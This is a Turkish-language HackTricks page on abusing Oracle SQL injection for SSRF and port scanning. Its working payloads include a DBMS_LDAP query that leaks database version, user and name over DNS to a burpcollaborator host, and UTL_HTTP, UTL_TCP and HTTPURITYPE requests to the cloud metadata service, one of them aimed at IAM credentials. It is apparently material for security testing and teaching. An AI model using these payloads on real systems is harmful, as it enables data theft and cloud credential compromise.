mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
146 lines
8.1 KiB
Markdown
146 lines
8.1 KiB
Markdown
# Oracle injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.**
|
||
|
||
## SSRF
|
||
|
||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
|
||
|
||
Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi.
|
||
|
||
Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim.
|
||
```
|
||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||
```
|
||
#### URL veya Hostname/Port Numarası belirtimini destekleyen Oracle paketleri <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||
|
||
Bir host ve port belirtimini destekleyen paketler ve fonksiyonlar bulmak için, [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle,
|
||
```
|
||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||
```
|
||
Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerçekleştirmek için kullanılamaz)
|
||
|
||
- DBMS_NETWORK_ACL_ADMIN
|
||
- UTL_SMTP
|
||
- DBMS_XDB
|
||
- DBMS_SCHEDULER
|
||
- DBMS_XDB_CONFIG
|
||
- DBMS_AQ
|
||
- UTL_MAIL
|
||
- DBMS_AQELM
|
||
- DBMS_NETWORK_ACL_UTILITY
|
||
- DBMS_MGD_ID_UTL
|
||
- UTL_TCP
|
||
- DBMS_MGWADM
|
||
- DBMS_STREAMS_ADM
|
||
- UTL_HTTP
|
||
|
||
Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
|
||
|
||
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
|
||
|
||
**DBMS_LDAP.INIT**
|
||
|
||
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
|
||
|
||
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir.
|
||
```
|
||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||
```
|
||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz.
|
||
|
||
İşte birkaç örnek
|
||
```
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||
```
|
||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir.
|
||
|
||
**UTL_SMTP**
|
||
|
||
`UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgeleri sitesinde sağlanan örnek, bu paketi kullanarak nasıl e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan, bir ana bilgisayar ve port belirtme yeteneğidir.
|
||
|
||
Aşağıda, 2 saniyelik bir zaman aşımı ile `UTL_SMTP.OPEN_CONNECTION` fonksiyonu ile basit bir örnek gösterilmektedir.
|
||
```
|
||
DECLARE c utl_smtp.connection;
|
||
BEGIN
|
||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
||
END;
|
||
```
|
||
|
||
```
|
||
DECLARE c utl_smtp.connection;
|
||
BEGIN
|
||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||
END;
|
||
```
|
||
`ORA-29276: transfer timeout` açık bir portun olduğunu gösterir ancak SMTP bağlantısı kurulmamıştır, `ORA-29278: SMTP transient error: 421 Service not available` ise portun kapalı olduğunu gösterir.
|
||
|
||
**UTL_TCP**
|
||
|
||
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
|
||
|
||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
|
||
```
|
||
set serveroutput on size 30000;
|
||
SET SERVEROUTPUT ON
|
||
DECLARE c utl_tcp.connection;
|
||
retval pls_integer;
|
||
BEGIN
|
||
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
||
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
||
retval := utl_tcp.write_line(c);
|
||
BEGIN
|
||
LOOP
|
||
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
END LOOP;
|
||
EXCEPTION
|
||
WHEN utl_tcp.end_of_input THEN
|
||
NULL;
|
||
END;
|
||
utl_tcp.close_connection(c);
|
||
END;
|
||
/
|
||
```
|
||
|
||
```
|
||
DECLARE c utl_tcp.connection;
|
||
retval pls_integer;
|
||
BEGIN
|
||
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
||
retval := utl_tcp.write_line(c);
|
||
BEGIN
|
||
LOOP
|
||
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
||
END LOOP;
|
||
EXCEPTION
|
||
WHEN utl_tcp.end_of_input THEN
|
||
NULL;
|
||
END;
|
||
utl_tcp.close_connection(c);
|
||
END;
|
||
```
|
||
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde, bu paket tüm bulut sağlayıcılarının Instance meta-veri hizmetine sorgu göndermek için de kullanılabilir, çünkü yöntem türü ve ek başlıklar TCP isteği içinde iletilebilir.
|
||
|
||
**UTL_HTTP ve Web İstekleri**
|
||
|
||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
|
||
```
|
||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||
```
|
||
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz:
|
||
```
|
||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||
```
|
||
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir.
|
||
|
||
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|